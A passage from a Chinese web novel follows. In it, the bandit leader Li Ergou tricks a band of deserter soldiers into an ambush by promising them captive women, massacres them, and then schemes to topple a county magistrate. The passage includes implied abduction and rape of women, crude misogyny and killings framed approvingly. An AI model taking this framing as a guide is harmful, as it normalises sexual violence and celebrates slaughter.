“熊营长客气了,这都是我们应该做的。” “李管家,多有打扰,我们也吃饱喝足了,就不打扰了。” “二驴,快去把烧鸡拿来,让老总们带回去。” 李二狗又把熊大拉到一边,把一卷大洋塞到他手中。 “熊营长,一点小意思,请您笑纳,以后还请多照顾我们胡家大院。” 熊大掂了掂手里的大洋,笑道:“让李管家破费了,放心,以后只要有我老熊在,没人敢欺负你们。” “谢谢熊营长,明天我一定把猪肉给兄弟们送去。” 送走这群瘟神,张二驴骂道:“这群王八蛋,吃完还得兜着走!” “二驴,这群人一旦沾染上,想甩都甩不掉,我担心他们以后会常来的。” “咱们机枪也不少吃素的,大不了干他娘的!” 李二狗和这群溃兵交手之前,也是张二驴这个态度,人在吃亏之前,总是会过高的估计自己。 “二驴,这些人都是一群杀人不眨眼的恶魔,咱们能不招惹还是尽量不要招惹他们的好。” “狗哥,你刚才不是没看见他们看见女人的眼神,要不是碍于咱们的机枪,我想他们今晚肯定不会这么老实。” 这正是李二狗担心的。 这次他们只有七个人,如果下次来一百个,来两百个,机枪还能起到震慑作用吗? 必须尽快消灭这群溃兵,免得夜长梦多! 第二天,李二狗亲自带人给溃兵驻地送去了两头杀好的猪和一些粮食。 熊大为了邀功,便说道:“李管家,我带你去见见我们团长。” 他带着李二狗来到团长段正德住的房间。 “团长,这就是我和您提起的胡家大院管家李二狗,刚刚给咱们送来两头猪和粮食。” “段团长,久仰久仰。” 段正德突然觉得李二狗的声音有些熟悉,好像在哪里听到过。 “李管家,咱们以前在哪里见过吗?你的声音听起来好耳熟。” 李二狗心里“咯噔”一下,心想坏了,那天晚上自己和段正德有过一段对话,他可能听出自己的声音了。 “我虽仰慕段团长已久,但今日还是第一次有幸得见。段团长有所不知,我们山里的人说话都带着一股土味,猛一听可能都一个味道,哈哈。” 熊大附和道:“哈哈,你还别说,你们这边的人说话还真带一股土味,连女人说话都是那个味。” 段正德想了想,李二狗说的确实有道理。 这时,营地外面传来一阵女人的哭喊声。 “团长,兄弟们又给您打野回来了,我出去看看。” 李二狗不想在段正德面前多说话,以免暴露自己的身份,便说道:“那我也不打扰段团长了,下次再来拜会。” “熊营长,替我送送李管家。” 出了段正德房间,李二狗看到几个溃兵抓了两个妇女回来,她们虽被捆住手脚,但嘴里仍不停地哭喊着。 溃兵们像一群饥饿的野狼,眼里冒着绿光,眼睛直勾勾地看着这两个女人。 李二狗知道等待她们的将是什么,但他却只能眼睁睁地看着无能为力。 “让李管家见笑了,兄弟们都是如狼似虎的年纪,也是没有办法,他们宁愿三日不吃饭也要玩玩女人。” 李二狗脑海中突然灵光一现。 “熊营长,我看营地里这么多兄弟,这几个女人远远满足不了需求啊,等我回去给兄弟们想想办法。” “真的吗?那就太感谢李管家了。” “我一定尽力而为,熊营长等我的好消息吧。” 李二狗出了营地,直奔清风寨。 寨门已经修好,坍塌的墙体也已修复完毕。 陈老三正在指挥着人清理杂物,看见李二狗,急忙上前邀功。 “狗哥,你看这新寨门怎么样?门板我让用了几百年的柏树,保证炮弹都炸不毁。” “老三,这次你做得不错,回头我让望冬好好夸夸你。” 李二狗说完就进了山寨,陈老三摸着脑袋自言自语道:“我自己的媳妇还用你来安排吗?” 李二狗回到家,李素文穿着一身黑色练功服,腰带上别着两把驳壳枪,正要出门训练。 “素文,你先等会儿,我有事和你商量。” “什么事?我这急着去训练呢,姐妹们还等着的。” “十万火急之事,快进屋。” 李素文以为李二狗想和她行床帏之事。 “二狗,这大白天的你能不能忍一忍?等我回来再好好陪你。” “素文,你严肃点,我有正经事和你说。” 第256章 从我们的尸体上踏过去 看到李二狗不苟言笑的样子,李素文心知自己这次错怪了他,便笑脸说道:“好好好,我们进屋说。” 当李二狗把自己的计划告诉李素文之后,她兴奋地举双手赞成。 “太好了,二狗,我正想带着姐妹们检验一下这段时间的训练成果。” 李二狗看着李素文自信又兴奋的样子,仿佛看到了几天前无知的自己。 人在没有经受挫折之前,总是把自己想象的太强大,而把对手想象的不堪一击。 自己吃过的亏,决不能让李素文再吃一次。 “素文,这是打仗,不是闹着玩的,弄不好会丢了性命,你不能去,必须留在清风寨!” 李素文一听,急得嗓门都大了起来。 “二狗,你这是什么意思?我是队长,队员们都去了,我怎么能不去?” 李二狗急忙安慰道:“素文,你先别着急,听我说,这次你们娘子军只是充当诱饵,不参加实际作战行动,你还是别去了。” “既然不参与作战,那你为什么不让我去?” 李素文问得李二狗哑口无言。 “万一行动失败,我担心……” “你担心什么?我的命金贵,她们的命就是蝼蚁吗?” “素文,我舍不得让你冒险。” “二狗,你要知道,我是她们的队长,咱俩又是这种关系,我要不去,以后我还有什么脸继续带领她们?我自己都会瞧不起自己!” 李二狗不得不承认李素文的话确实有一定的道理,但是他还是舍不得李素文去冒险。 “素文,要不然这样,娘子军不用全体都去,从里面挑选出二十个人来就行。” “即使只挑选一个人去,那也得我去,因为我是队长。” 李二狗简直对李素文刮目相看,没想到她平时柔柔弱弱的一个人,关键时刻竟毫不退缩,不愧是自己的女人。 李二狗紧紧抱着她,说道:“素文,你太令我感动了。” “嘻嘻,李二狗的女人总不能是个窝囊废吧?我不能给你丢人啊。” 李素文呼出的气息令李二狗心里痒痒的。 “素文,你真好,咱们去床上交流交流吧?” “你讨厌,”李素文从李素二狗怀里挣脱出来,“人家还有正事呢,晚上再说。” 李二狗无奈地笑了笑,说道:“先不要告诉她们,等你们到了那里再告诉她们,免得消息泄露。” “嘁!你也太看不起我们娘子军了,我对她们的首要要求就是忠诚可靠。” 李素文走后,李二狗召开了紧急寨务会。 会上他把自己的计划告诉了大家,大家无不拍手称快。 “狗哥,这次我们一定要彻底铲除这群兵痞祸害,还江东百姓一片蓝蓝的天。” “做成此事之后,狗哥配享太庙!” “狗哥,我已经决定了,从此以后我要对你刮目相看!” “我早就对狗哥刮目相看了!” “我对狗哥五体投地!” “我对狗哥顶礼膜拜!” …… “好了,都别他娘的扯淡了,此事要想做成并没有大家想象的那么简单,大家要做好打硬仗的心理准备。我只要求你们记住一条,一定不能让他们伤害到娘子军,她们可是大家未来的媳妇。” “放心吧,狗哥,要想伤害她们,那只有一个可能,从我的尸体上踏过去。” “对,从我们的尸体上踏过去!” “好,我要得就是大家这股劲头,分头去准备吧。” 当天下午,清风寨的娘子军在李素文的带领下,全体前往刚刚修葺一新的青山寨驻扎。 李二狗回到胡家大院。 “狗哥,那个熊营长又来了。” 李二狗微微一笑。 “他这是打秋风打上瘾了,二驴,让食堂准备好酒好菜。” 李二狗快步来到会客厅,熊大正坐在椅子上吃水果。 “熊营长,实在是不好意思,让您久等了。” “李管家不用客气,我是不请自到,是我打扰你了。” “哪里哪里,熊营长能来我们胡家大院,是我们莫大的荣幸,我想请还怕您不来呢。” “哈哈,李管家真是豪爽之人,我熊某人就喜欢交你这样的朋友。” “能与熊营长这样的英雄人物交朋友,是我李二狗的荣幸,熊营长,今天我一定要多敬您几杯。” “哈哈,李管家,我们部队有纪律,不能随便喝酒。” “那就少喝一点,熊营长一定要让我表达对您的敬仰之情才好。” “哈哈,那咱们就少喝点,李管家的热情让我有一种宾至如归的感觉啊。” “熊营长客气了,饭菜都准备好了,咱们过去吧。” 熊大这次来胡家大院竟然只带了两名士兵随行,也许在他眼里,一个小小的胡家大院肯定不敢对他有非分之想! “熊营长,您带来那两位兄弟是和咱们一起还是我再单独安排一桌?” “随便给他们安排安排就行,别让他们打扰了咱们兄弟的雅兴。” 李二狗便吩咐张二驴亲自去陪那两名士兵,给足了熊大面前。 一个丫鬟站在旁边,给熊大斟满了酒,熊大毫不避讳李二狗在场,眼睛直勾勾地盯着丫鬟。 丫鬟被他看得脸颊通红,眼巴巴地看向李二狗求救。 “你先下去吧,我和熊营长说会话,没有我的命令,不要让任何人进来打扰我们。” 丫鬟如释重负,赶紧退了出去。 熊大眼睛一直盯着丫鬟,直到她关上房门才意犹未尽地收回贪婪的目光。 “嘿嘿,让李管家见笑了,我们这些当兵的,有今天没明天的,及时享乐才是人生真谛。” “理解理解,大家都是男人嘛,来,熊营长,咱们先喝酒。” 酒过三巡,菜过五味之后,熊大说道:“李管家,我这次来是奉我们团长的命令,希望你能继续支持我们。” 李二狗问道:“不知道段团长的命令是?” “我们初到江东,人生地不熟,各方面的情况还不熟悉,也不想去打扰县里的领导,所以面临着众多的困难,希望你们胡家大院能慷慨解囊,帮助我们度过这个难关,当然,我们也不会白让你们帮忙,只要有我们在,保证不会再让土匪来骚扰你们胡家大院。” 第257章 里面住着一群女土匪 李二狗一副恭维的表情。 “那我代表胡家大院谢谢熊营长和段团长,只是不知道我们得怎么支持你们?” “李管家放心,我们要的并不多,每个星期只需给送四千斤粮食、五百斤鸡蛋、一百只鸡、十头猪,再送一些萝卜白菜等蔬菜就够了。” “确定不多,呵呵。”李二狗暗骂一句操你祖宗十八辈,这是把胡家大院当成你们后勤基地了。 熊大没想到李二狗竟答应地如此痛快。 “李管家,你办事真是敞亮,我代表全团官兵感谢你,来,我们再干一杯。” 李二狗心想,马上就要送你们见阎王了,你们现在就是要一座金山我也答应你们。 “熊营长客气了,你们为了百姓抛头颅洒热血,我们出这点力又算得了什么?熊营长还有什么要求尽管提,我一定尽力满足。” 这下可把熊大高兴坏了。 “嘿嘿,李管家,那我就不客气了,你也知道,兄弟们吃饱喝足之后就会产生其他想法,现在附近的老百姓都跑光了,想找几个年轻漂亮的女人实在不容易,你看能不能给我们想想办法……” 看着熊大猥琐的表情,李二狗立刻心领神会。 “熊营长,我正好有一个好消息要告诉你。” “什么好消息?” “离这里不远,有一个叫青山寨的土匪山寨,里面住着一群女土匪,她们个个长得年轻貌美、胸大臀肥,而且足有五六十人,你们要是能拿下这个山寨……嘿嘿,熊营长,你懂得。” 熊大听得两眼放光,哈喇子都流了下来。 “这不他娘的是一个女儿国吗?李管家,你这个消息可靠吗?” 李二狗拍着胸脯保证道:“熊营长,这种事我怎么敢乱说?您放心,消息绝对真实可靠!” 熊大兴奋地摩拳擦掌。 “李管家,你可真是从根上关心我们兄弟啊,以后你就是我熊大的兄弟,咱们有福同享,有难同当。” 李二狗纳头就拜。 “小弟拜见熊大哥。” “好好好,二狗兄弟快快请起,我现在就回去向我们段团长汇报。” 李二狗知道,他们在进攻青山寨之前肯定会先派几个探子去一探虚实。 “大哥,何必急在这一时半会儿呢,明天再去也不迟,今晚我还给你安排了特殊项目。” 熊大一听,顿时乐歪了嘴。 “知我者,二狗兄弟也。” 喝完酒,李二狗吩咐张二驴架上马车,拉着熊大去了一趟县城的窑子。 熊大回到军营驻地,把青山寨的消息告诉了段正德。 段正德听后也是双眼放光,五六十个年轻漂亮的女人,哪个男人听了都受不了这种诱惑。 “老熊,这个李二狗人怎么样?他说的话到底可不可信?” 熊大拍着胸脯保证道:“团长,您就放心吧,李二狗这人非常讲义气。” 段正德作为团长,比作为营长的熊大多了几分城府。 “老熊,此事关系重大,你马上派两个人伪装成附近村子的难民,去青山寨探探虚实,我们一定不能打无把握之仗。” “还是团长英明,我这就去安排。” 熊大安排了自己两名心腹,伪装成附近村子的难民,背着竹筐直奔青山寨。 从他们一出营地,李二狗派出的探子就盯上了他们。 两个探子悄悄来到青山寨脚下,一路上并没有发现任何异常。 “兄弟,这一路上怎么这么顺利?连只鸟都没有。” “能走得动路的人都出去讨饭了,哪里还有什么人?别废话了,咱们赶紧上山吧,我总感觉这里阴森森的。” “女人多的地方就阴气重,那么多女土匪,咱们可拉馋了,哈哈。” “女土匪再多也得他们当官的先选,挑剩下的才能轮到咱们兄弟。” “有就不错了,还挑挑拣拣的,关上灯都一个样。” “看你狗日的那没出息的样子,我看现在就是给你一头母猪,你也能拱上去,哈哈。” “去你娘的,你也比我好不到哪里去!昨晚你自己在被窝里干了什么,别以为我不知道,哈哈。” “你真他娘的是狗鼻子,什么都瞒不了你,好了,别废话了,咱们快点上去吧。” 两人没敢直接走上山的山路,而是钻进了旁边的树林子。 半个时辰后,两人才艰难地爬到离青山寨寨门不远处的一个大石坡后面。 “你快看,站岗的都是女人,长得可真带劲!” “小点声,站岗的是女人,也不能证明山寨里面都是女人,咱们得想办法走近了看一看。” “怎么进?小心她们崩了你。” “咱们就去要个饭,她们还能枪毙了咱们?” “我怕她们非礼咱哥俩,嘿嘿。” “去你娘的,想得倒挺美,走,去寨门口看看再说。” 两人从树林里钻出来,走到山路上,直接来到寨门口。 “站住,干什么的?” 一个女人穿着一身黑衣,束着腰带,腰带里别着一把驳壳枪,显得英姿飒爽。 “姑奶奶别开枪,我们是附近的村民,实在太饿了,求求各位姑奶奶给口吃的吧。” “你们好大的胆子,竟敢到青山寨来讨饭?” “都快活不下去,哪还顾得了这些,姑奶奶,求求你们发发善心,给我们一口残羹冷炙吃吧。” 说完跪下来,“砰砰”磕了两个响头。 女土匪捂着嘴笑道:“看你们两个大男人,为了一口吃食,竟这般没出息,在这等着,我去给你们拿两个馒头。” “谢谢姑奶奶,谢谢姑奶奶。” 两个人相互使了个眼色,其中一人通过寨门向里望去。 寨子广场上有两排女人正在进行队列训练,并没有看到一个男人。 另一人腆着脸,和一个站岗的女土匪搭讪。 “姑奶奶,我们哥俩实在活不下去,想投奔你们青山寨,麻烦您和你们大当家的说一声,就收了我们吧。” 女土匪抿着嘴笑道:“你们要想投奔我们青山寨,必须先成为太监才行,你们愿意吗?嘻嘻。” “太监?姑奶奶您可别吓唬我们,又不是入宫,咋还要成为太监呢?” 第258章 段正德中计 女土匪笑骂道:“睁开你的狗眼看清楚,我们青山寨只收女人,不收男人。” “啊?为什么不收男人?” “因为我们大当家的恨极了男人,我懒得和你废话,待会你们拿到馒头赶紧走,让我们大当家的看见,肯定阉了你们。” 两人吓得立马捂住裤裆,女土匪咯咯笑了起来。 “看你俩那没出息的样子,还是我们大当家的说得对,男人都是靠不住的东西。” “姑奶奶,瞧您说的,一杆子打翻一船人,男人也有好东西。” “你是好东西?” “是啊,我就是好东西。” “看你这副不要脸的样子就不是个好东西。” “嘿嘿,姑奶奶您可真幽默,不知道咱们山寨有多少姑奶奶啊?” 女土匪警惕地问道:“你问这个干什么?” “姑奶奶您别误会,我是想让我老娘、我媳妇、我妹子都来投奔你们,在家就快饿死了,可我又担心你们山寨人太少会不安全。” “这个你不用担心,我们山寨有六十多个姐妹,个个武艺高强,没人敢欺负我们,你就放心让你老娘媳妇都来吧。” 这时,先前进去拿馒头的女土匪走了出来,把几个馒头丢给他们。 “快走吧,下次别再来了,我们大当家的最恨男人,小心丢了性命。” “谢谢姑奶奶,谢谢姑奶奶。” 两人千恩万谢之后,拿着馒头下了山。 这一切都被拿着望远镜在山顶观望的李二狗看在眼里。 “孬蛋,他们经过这番侦察,今天晚上肯定会采取行动,你马上吩咐下去,照计划行事。” 宋孬蛋越发佩服李二狗超出常人的智慧。 “好的,狗哥,我马上去办。” 夜幕降临时,段正德亲自带领一队人马出了营地。 “老熊,告诉弟兄们待会下手轻点,能不放枪尽量不要放枪,一定要捉活的,你懂我的意思吧?” 熊大嘿嘿一笑,说道:“团长,您就放心吧,我早就告诉弟兄们了,待会我们悄悄摸进寨子,力争把她们全部活捉。” 一行人很快就来到青山寨脚下,上山只有一条很窄的山路。 段正德看着陡峭的山路,心生疑窦。 “你们两个都打探清楚了吗?山寨里真的只有女人?” “团长,真的只有女人,我们亲眼看见的,千真万确!” “老熊,为了以防万一,你带几个兄弟先行上山,咱们拉开一段距离。” 熊大暗骂道,又他娘的让我打前阵,好事从来想不着我。 “好的,团长,你们几个跟我来。” 熊大带着几个人就率先上了山,段正德带领大部队远远跟着,很快他们就来到离寨门口不远处的一个大石坡后面。 “营长,您看,寨门上站岗的是两个女人。” 熊大放眼望去,寨门上挂着的两个大红灯笼在随风摇摆,灯笼下面站着的确实是两个女人。 不一会儿,段正德带领大部队就赶了上来。 “团长,您看,寨门口只有两个女人站岗,真是天助我们呀。” “哼哼,女人毕竟是女人,成不了什么大气候,熊营长,你带两个人摸上去,先解决掉那两个岗哨,然后咱们一起冲进去。” 熊大心里忍不住骂道,他娘的,怎么每次有危险的事都让老子去干! “团长,您就擎好吧,你们两个跟我来。” 熊大带着两个人悄悄摸了上去,快接近寨门时,寨门上的两个灯笼竟莫名其妙的灭了。 熊大一抬手,几个人全部趴在原地不动。 只听到一个女人说道:“二丫,灯笼没油了,我去换煤油。” “璇儿姐,我一个人怕,我和你一起去吧?” “嘻嘻,你可真是个胆小鬼,走吧,我们一起去。” 熊大听到她们的对话,差点乐出声来,真是刚想睡觉,就有人送来枕头,他仿佛看到了一群年轻貌美的女人正躺在床上向他招手。 “你们俩爬进去打开寨门,我去向团长报告。” 两个士兵轻易爬进山寨并从里面打开了寨门,段正德带领着大队人马赶到。 “进去之后注意脚下,不到万不得已千万不要打枪,务必活捉她们,你们几个留下,其他人跟我来。” 寨门口留下两个人,其他人跟着段正德冲了进去。 他们很快来到山寨正中心的一个广场上。 “团长,您看,她们肯定都住在那排房子里。” 段正德狞笑道:“今晚我们就在这里办了这群小娘们。” “给我打!” 黑暗中,突然发出一声呐喊,广场四周顿时响起了密集的枪声。 机枪、冲锋枪、步枪、驳壳枪同时喷出长长的火舌,无数颗手榴弹扔到广场中央。 偌大的广场上无遮无拦,士兵们成群地倒在血泊中。 “团长,我们中计了。” “想活命的跟着老子冲出去!” 溃兵毕竟也是兵,短暂的慌乱之后他们迅速组织反击,几个人掩护着段正德向寨门口冲去,而熊大则被机枪打成了筛子。 段正德带领着十几个人冲出寨子。 宋孬蛋带着人紧追不舍。 月黑风高,山路崎岖,冲出去的溃兵有好几个摔到山下,当场毙命。 快到半山腰时,陈老三、张石头等人突然抱着一挺机关枪从两侧树林里杀出,把这群溃兵全部消灭,段正德的胸膛被打出了无数个血窟窿。 于此同时,一群人赶着一队马车来到溃兵驻扎的营地。 “站住!你们是什么人?” “老总,别开枪,我们是胡家大院的,来给你们送粮食和猪肉。” “怎么这么晚才送来?你们明天早上再来吧!” “哎呀老总,这猪肉是我们好不容易才在县城买到的,我们赶了好久的路才走到这里,您行行好让我们进去吧,省得明天还得再跑一趟。” “以后早点送来,进来吧,下不为例。” “谢谢老总,快点把马车赶进去。” 哨兵打开门放马车进去,张二驴掏出一盒烟。 “来,老总,抽根烟醒醒盹,这天寒地冻的,你们辛苦了。” “你们这破地方可真他娘的冷!” 哨兵接过烟叼在嘴里,张二驴立即划了一根火柴给他点上。 第259章 嫂子包的饺子最合我的胃口 岗哨刚抽了一口烟,张二驴突然捂住他的嘴,一刀子捅进了他的胸口。 另一个哨兵见状,手忙脚乱地要举枪,还未等他把枪举起来,身后突然出现一只大手捂住他的嘴,一刀割断了他的喉咙。 “把这些兵痞全部杀了,一个不留!能带走的东西全部带走,然后一把火把这个鸟地方给我烧了。” 营地里很快响起一阵机枪扫射的声音,剩下的十几名溃兵还在睡梦中就送了命。 溃兵营地燃起冲天大火,照亮了半个夜空。 张二驴带领民团队员,拉着整车的武器和粮食,消失在夜色中。 二三百人的队伍突然在一夜之间销声匿迹,连营地都被烧得片甲不留,震动了整个江东县。 孙竹刚亲自来到胡家大院。 “兄弟,你和大哥说实话,那群溃兵神秘消失的事是不是你们清风寨干的?” 李二狗面不改色心不跳,微微一笑很轻松。 清风寨能神不知鬼不觉地消灭一支二三百人的队伍,这件事要是让王正直和孙竹刚知道了,肯定晚上睡觉都睡不踏实。 “大哥,你也太瞧得起清风寨了吧,一夜之间消灭二三百人的队伍,我们哪有那本事?” “兄弟,这整个江东县除了你们清风寨,其他人就更没有可能了!” “大哥可真瞧得起我们清风寨,我们就百十来人,实在没有任何理由去和这群溃兵拼命,你说是吧?” “那还能有谁呢?”孙竹刚嘀咕道。 孙竹刚内心很恐惧,在江东的地面上,一支二三百人的队伍被全歼,他一个警察局局长竟毫不知情。 警察的战斗力和正规部队比起来,简直是天壤之别! 这就意味着他们要想消灭警察局也是轻而易举的事情。 “大哥,你担心这个做什么?这群溃兵烧杀抢掠、无恶不作,他们这是罪有应得。” 孙竹刚神色严峻,仿佛没有听见李二狗的话一般。 “大哥,大哥……” “兄弟,你刚才说什么?” “我说咱们喝酒!大哥,这群溃兵留在咱们江东早晚是个祸害,这次被消灭也是好事。” 两人考虑问题的角度不一样,孙竹刚便不想再继续讨论这件事。 “兄弟,有件事……”孙竹刚看了看门外,压低声音说道:“王县长最近又要召集全县的地主豪绅开会,应该还是筹集军粮的事情,我建议你这几天最好还是出去躲一躲。” 胡家大院为了赈济灾民,早已把大部分的粮食都捐给了广佛寺开粥棚,现在是真的没有余粮了,相信其他地主大院的情况也差不多。 这时候,王正直还要征粮,这简直是把大家往绝路上逼。 “谢谢大哥,我正好明天要去一趟省城,我们老爷的病情又加重了。” 孙竹刚脸上露出一丝不易察觉的笑容。 “兄弟,这胡老爷要真是归了西,你这管家的位置是不是还要往上升一升啊?哈哈。” “大哥,又取笑兄弟不是?实不相瞒,胡家大院早已外强中干,我早就想不干这个管家了,在清风寨多逍遥,也不用担心被王县长敲竹杠!” “兄弟,胡家大院就是再没落,这几千亩土地可是实打实的,还有这么一座规模庞大的大院,清风寨毕竟是土匪窝,非长久之计。” “还是大哥看得长远,不过有大哥在背后给我撑腰,在江东我能横着走。” “哈哈,兄弟又说笑,江东有县长,我只不过是一个警察局局长罢了,凡事还得听人家县长的。” 王正直欺上瞒下,不顾百姓死活。 大灾之年,不仅不想办法赈灾灾民,反而变本加厉地鱼肉乡里,这样的人就不配做县长! 李二狗早就想为江东百姓除了这一害! “大哥,有句话兄弟不知当讲不当讲?” “这里又没有外人,兄弟有话不妨直说。” “现在中原地区已经打成了一锅粥,但据我分析,几个大帅之间谁都没有必胜的把握,更不可能彻底消灭对方,打到最后还是会维持现状,名义上是南京国民政府说了算,实际上还是大家各管各的地盘。” 孙竹刚没明白李二狗话里的意思。 “兄弟,你说的再明白一点,大哥没听懂。” “大哥,听说过省城的吴有德吗?” “吴有德的大名那当然听说过,他早先跟着先总理闹革命,是早期同盟会会员,现在虽已退出政坛多年,但在全省甚至全国还是一个很有影响力的人物。” “他是我干爹。” 孙竹刚听后惊讶不已。 “哎呀,兄弟,吴有德竟然是你干爹?你到底还有多少事情是我不知道的?” “大哥不要激动,我也是一个偶然的机会结识了吴爷。吴爷和省政府主席夏瀚林的关系不错,我这次去省城准备和他提一提大哥的事情,让他想办法帮帮忙,让大哥更进一步。” 孙竹刚这次不是惊讶,他是激动!是感动! “兄弟,你对大哥的这份情义,大哥真是不知道该怎么报答你。” “大哥,咱们是兄弟,你好我也好,这个道理我还是懂得,不过……” “不过什么?” “王正直在省里也有一些关系,想取代他并不是轻而易举的事情。” 孙竹刚知道,李二狗心中早已有了主意。 “兄弟,你就直说吧,大哥该怎么办?” “如果这次王正直完不成军粮征缴任务,他这个县长还能继续当吗?” “可就怕那些地主豪绅最后顶不住压力。” “他们吃过几次亏,这次肯定能躲就都躲了,王正直最后还得依仗你来做他们的工作,到时候你就想办法拖延几日,顶多挨他几次骂,到期他完不成征集军粮的任务,撤他的职不就水到渠成了吗?” 孙竹刚没想到事情竟是如此的简单,他自己怎么就想不到呢? “兄弟,高啊,来,大哥再敬你一杯。” “大哥,等这次我从省城回来,就得改口叫孙县长了。” “哈哈,不论到什么时候咱们都是好兄弟,等你回来,来家里,我让你嫂子包饺子给你吃,还是海鲜馅的。” “哈哈,谢谢大哥,嫂子包的饺子最合我的胃口。” 第260章 李二狗兽性大发 第二天,李二狗来到清风寨。 当他在寨务会上提出要送宋孬蛋、张清明两人去省城上军校时,除了提前知道消息的宋孬蛋之外,其他人全部惊呆了。 土匪去读军校,这可是闻所未闻啊。 “狗哥,自古哪有土匪去上军校的道理?这恐怕不太合适吧?” 陈老三心想,我可是你最亲近的兄弟,去上军校竟然不让我去,他心里对李二狗非常有意见。 “是啊,咱们土匪去读军校,一旦被发现那可是要被枪毙的!” “对!自古官匪势不两立,咱们还是安心做山上做土匪好。” 陈嘎子和张石头两人都是粗人,他们考虑问题的方式比较简单,他们是想一辈子做土匪的人。 秀才上山的时间比张清明还要早一些,但不可否认,与自己比起来,李二狗显然更加青睐张清明。 这次能送张清明去省城上军校,等军校毕业之后,无论是去军队服役还是回到清风寨,都会高人一等,前途不可限量,足见李二狗对他的器重。 秀才心里有意见,但选择了沉默不语,并没有发表意见。 张清明听到自己和宋孬蛋一起去上军校,对李二狗的感激之情溢于言表。 他虽然也没有说话,但脸上的兴奋之情却早已掩饰不住。 李二狗早就知道大家是这个意见,他一直等着所有人都发表完意见不再吭声,自己才清了清嗓子,准备盖棺定论。 “谁规定的土匪不能上军校?咱们吃没文化的亏还少吗?上次差点被人家连锅端了!打仗是一门很深的学问,不去学习能行吗?咱们清风寨以后要想发展壮大,这是必由之路!” 陈老三还是不服气,嘟囔道:“可是狗哥,人家军校能收咱们吗?” “收不收是他们的规定,能不能让他们收得看咱们自己的本事。” 大家都知道,李二狗决定的事在清风寨就是圣旨,只能无条件执行。 “狗哥,我也想去省城的军校学学,嘿嘿。” 陈老三一听说去省城,心里就发痒。 “你他娘这个熊样子,一看就是土匪,上军校不是自投罗网吗?再说,你也受不了军校的管,还是老实待在山寨吧。” 陈老三作为李二狗最亲近的兄弟,他都没戏,其他人更没戏了。 事情就这样定了下来。 李二狗带着宋孬蛋、张清明去了省城。 由于正在打仗,省城的难民比平时多了许多,大街小巷挤满了扶老携幼的逃荒人群,但百乐门大舞厅内依然歌舞升平。 静雯见到李二狗,自然喜不自胜,两人搂抱着就上了楼,看得张清明一愣一愣的。 “蛋哥,狗哥这……” 宋孬蛋摆出一副见过世面的样子。 “不该问的别问,走,哥带你开开眼界。” 静雯办公室。 小别胜新婚,两人来不及废话,直接忙活起来! 李二狗显得异常兴奋! 静雯只感觉自己在云层中来回穿梭。 一个时辰后,静雯躺在李二狗怀里撒起了娇。 “你这是怎么了?好像几年没碰过女人似的?” “这可不能怪我,要怪只能怪你太迷人。” “讨厌你!”静雯羞涩地把头埋进李二狗怀里,“狗儿,现在到处都在打仗,这段时间我特别担心你,这次你在省城就多住一些时日吧?” “静雯,我也想多陪你一些时日,可是江东那边还有一堆事等着我回去处理,你不知道现在全省的灾情有多严重!我在来的路上,看到很多饿死的灾民,他们的尸体都堆积在路边无人掩埋。” 静雯叹息道:“政府的人都在忙着打仗,哪里还有心思管老百姓的死活!” “对了,咱们贸易行的那些小麦都卖了吗?” “一开始的时候卖掉了一些,后来进城逃荒的灾民越来越多,吴爷就在城西西市场那里架起了几口大锅来赈灾。” “吴爷真是咱们学习的榜样,小麦现在还剩多少?” “哎,前段日子,省政府看咱们贸易行粮食多,就用极低的价格把粮食全部买走了。” “什么?这群强盗!简直太无耻了!” “这还是因为夏主席看吴爷的面子,要不然呐,一分钱都不会给。冯大帅下达的是征粮的死命令,夏主席也是没有办法,完不成就地免职!” “本来想着囤积一些粮食可以大赚一笔,没想到最后却是这个结果。” “你也不要自责,其实咱们还是挣了一些,由于粮价涨得厉害,前期卖的粮食早就回本了。” “那就好,要不然我就没脸见干爹了。” “干爹这几天总提起你,念叨着让你尽快来省城,他想退下来享享清福。” “咱们现在再来一次还是去见干爹?” “你真讨厌!晚上再说啦!” 两人穿戴整齐,带着宋孬蛋、张清明一起来到吴公馆。 “干爹,我想死您了。” 李二狗见面就给了吴有德一个热情的拥抱。 “你小子是想我还是想静雯?想我就赶紧来省城帮我。” “嘿嘿,当然是想干爹了。” 静雯“哼”了一声。 “也想静雯,嘿嘿。” 吴有德看到李二狗后面跟来两个精干的小伙子,不像是地主大院的家丁。 “二狗,这两位是?” 李二狗急忙介绍道:“干爹,这两位是我的好兄弟,宋孬蛋、张清明。” 宋孬蛋、张清明异口同声地说道:“吴爷您好。” “小伙子们都长得挺精神,以后还是要跟着二狗来省城发展,你们乡下就那巴掌大的一块地方,能有什么发展?总待在那种地方会耽误你们前途的。” 两个人都嘿嘿笑着没有说话。 “您高瞻远瞩,就是比我们站得高看得远啊,干爹,我这正好有一件事情想求您帮帮忙。” “我就知道你小子没事不会来看干爹。” 李二狗大呼冤枉。 “干爹,您这可冤枉死我了,我心里可是无时无刻不挂念着干爹。” 吴有德笑道:“你小子就长了一张甜嘴,好了,别扯淡了,说吧,要我办什么事?” 李二狗嘿嘿一笑。 第261章 不想当兵你上军校干什么 “刚才干爹说得对,我们乡下巴掌大的一块地方确实耽误人的前途,所以,我想让这两位兄弟进省城的军校进修进修。” 吴有德没想到李二狗竟提出这样的请求,这对他来说简直易如反掌,省城军校的校长正是他以前的部下。 “这个容易,现在军校缺的就是你们这种青年才俊,放心吧,这事包在我身上。” 李二狗看吴有德的态度,就知道他并没有明白自己的意思。 “干爹,您没听明白我的意思,我说的是进修,要是让他们在军校里学个三年五载那可不行。” 吴有德笑道:“你小子就是不读书看报纸,现在急缺军事人才,哪有时间让他们在军校里学三年五载?一般半年,最多一年就能毕业。” “那毕业之后呢?” “毕业之后当然是去部队当军官,从你进入军校的大门就已经当兵入伍了。” 李二狗装出一副很为难的样子。 “干爹,现在军阀混战,当兵可不是什么好事情啊。” 吴有德彻底被李二狗整糊涂了。 “二狗,你小子是不是下雨没打伞啊?” “下雨没打伞?”李二狗一头雾水,“干爹,您这话啥意思?” “脑子进水了呗!”吴有德笑道,“不想当兵那还上军校干什么?” 李二狗富含深意地看了一眼宋孬蛋和张清明。 “干爹,不是说不当兵,我的意思是毕业之后我们可不可以自由选择,想当兵就当兵,不想当兵就回家种地。” “二狗,你小子脑子里面装的是不是都是浆糊?你以为上军校是闹着玩的?想怎么样就怎么样?那里是为国家培养军事人才的地方,不是你想来就来,想走就走的草台班子。” 李二狗忙赔着笑脸说道:“嘿嘿,干爹,我只是说假如,您知道的,我们胡家大院也成立了民团,也需要军事方面的人才。” “你呀,脑子里只有胡家大院,巴掌大的一块地方,”吴有德用手指比划了一下:“能有什么出息?” “故土难离啊,还望干爹理解。” “好了,等毕业之后再说,应该不难办。” 